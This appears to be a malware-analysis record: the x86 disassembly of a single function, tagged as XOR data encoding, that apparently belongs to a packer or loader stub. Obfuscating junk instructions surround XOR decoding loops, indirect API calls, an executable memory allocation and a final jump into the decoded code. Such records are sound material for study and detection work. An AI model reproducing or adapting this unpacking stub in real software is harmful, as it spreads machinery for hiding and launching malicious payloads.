Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x43122825
sub eax, 1
or edi, edi
add eax, 0x489855ad
popal
mov edi, eax
sub edi, 0x6066f797
mov eax, 0
mov ebx, ecx
sub edi, esi
mov esi, 0x7c404cac
mov edx, ebx
inc esi
add edi, edi
mov ecx, edx
or esi, esi
add esi, 0x72b0c17d
add eax, 1
sub esi, edi
not esi
cmp eax, 0x100adab
jne 0xa789ce
sub edi, 0x508f069d
sub edi, esi
or eax, edi
mov edi, 0x58ae8f5e
mov edi, 0xa78796
add esi, 0x71edd0c9
add eax, edx
add eax, eax
mov ecx, 0xa7898a
sub esi, 0x5808826f
or edx, eax
sub eax, 0x61a494eb
mov ebx, dword [edi]
and esi, eax
add esi, 0xd8ef1a4e
and ebx, 0xff
sub eax, 1
mov edx, 0xc86d1a25
xor dword [ecx], ebx
mov eax, 0xc51b839e
add eax, 0x7f4c99c1
inc ecx
and edx, edx
add esi, 0x8d0b7c5a
sub eax, 0x7f5c21c
inc edi
or eax, esi
add eax, eax
cmp ecx, entry0
jl 0xa78a2d
sub eax, edx
add esi, 0xcbb0ee75
and edx, eax
sub eax, 0x2da7a60e
not esi
mov ebx, esi
not esi
dec ecx
mov edi, 0xa7898e
inc edx
add esi, edx
not esi
mov edi, dword [edi]
mov ebx, 0xb7987e7d
inc edx
sub ebx, 0x8af70b48
mov edi, dword [edi]
and ebx, edx
not esi
push edi
mov ebx, edx
sub esi, ebx
add ecx, 0x48470a98
mov edi, 0xa7898a
or ebx, edx
mov ecx, esi
mov edi, dword [edi]
and esi, ecx
sub ebx, 0xe127cb28
mov edi, dword [edi]
add ecx, ecx
mov ebx, 0xa20bd417
push 0xa78992
dec esi
or ebx, ecx
call edi
mov ebx, ecx
mov ecx, 0xe8ac34ba
dec esi
pop edi
mov edx, ecx
mov ebx, esi
sub esi, edx
push 0xa7899f
and edx, esi
or esi, ecx
push eax
sub ecx, esi
inc esi
call edi
and ecx, edx
sub ebx, esi
push 0x40
mov ecx, esi
sub esi, 1
sub ebx, 1
push 0x3000
add esi, ecx
mov edx, 0x6ec840c9
push 0x20000b38
not ecx
add ebx, 0x34127182
sub esp, 4
mov dword [esp], 0
dec ebx
sub esi, 0x215f8374
inc esi
call eax
and esi, ebx
sub ebx, edx
or esi, edx
add eax, 0x20000a7d
inc ecx
or ecx, ebx
sub ecx, ebx
mov edi, 0x5d26ee2c
sub ecx, esi
or edx, ebx
dec esi
mov dword [eax], edi
or edx, ecx
sub ecx, ebx
add edx, 0x10765f8a
mov edi, dword [eax]
dec edx
and esi, ebx
cmp edi, 0x5d26ee2c
je 0xa78b78
mov eax, 0
mov dword [eax], edx
sub esi, 0xf6647857
sub ebx, esi
inc ebx
sub ecx, esi
mov esi, 0xe6a4b9b6
mov eax, 0x51a2f268
add eax, eax
mov edx, section..reltc
sub edi, eax
and eax, eax
mov esi, 0xa78795
not eax
sub edi, 0x8e9736b9
mov ebx, 0
mov edi, eax
add edi, 0x40c8f599
mov ecx, 0xa78796
or eax, edi
inc eax
lea ecx, [ecx + ebx]
sub edi, 0xfb80fa65
sub edi, eax
mov edi, 0x86085365
mov ecx, dword [ecx]
mov eax, edi
sub edi, eax
and ecx, 0xff
add edi, 0x7a9663a5
mov eax, edi
inc eax
inc ebx
and edi, edi
inc eax
mov eax, 0x1021bd38
cmp ebx, 0x1f4
jne 0xa78bf5
mov ebx, 0
sub edi, 0x5665ae3a
sub eax, 0x41137158
or edi, edi
sub eax, 0x3c8ec17
add eax, edi
xor dword [edx], ecx
mov edi, 0x605d0720
mov eax, edi
and eax, eax
add edx, 2
mov eax, edi
sub eax, edi
dec edi
cmp edx, esi
jl 0xa78bb2
dec eax
mov edi, eax
not eax
sub eax, edi
add edi, edi
mov edx, section..reltc
dec eax
sub eax, 0xaabfa2e9
sub ecx, 0xef973956
mov esi, section..reltc
mov ecx, 0x35bce390
or eax, ecx
mov edi, 0xa78795
add eax, 0x42839980
sub ecx, eax
or eax, eax
mov ebx, 0
or ecx, eax
or eax, ecx
mov bl, byte [esi]
mov eax, ecx
or ecx, eax
sub eax, ecx
mov byte [edx], bl
sub eax, 0xd3a0ccfc
sub ecx, 0xc116be73
inc edx
sub ecx, 0x4d6447a5
mov ecx, 0x8c2f9cfb
add esi, 2
not ecx
or ecx, eax
cmp esi, edi
jle 0xa78c68
mov eax, ecx
or eax, eax
add ecx, 0x546b1dde
add edi, 1
add edi, edi
mov edi, eax
push 0x8dc6a0
sub eax, 0x2b8cc8b3
and edi, eax
ret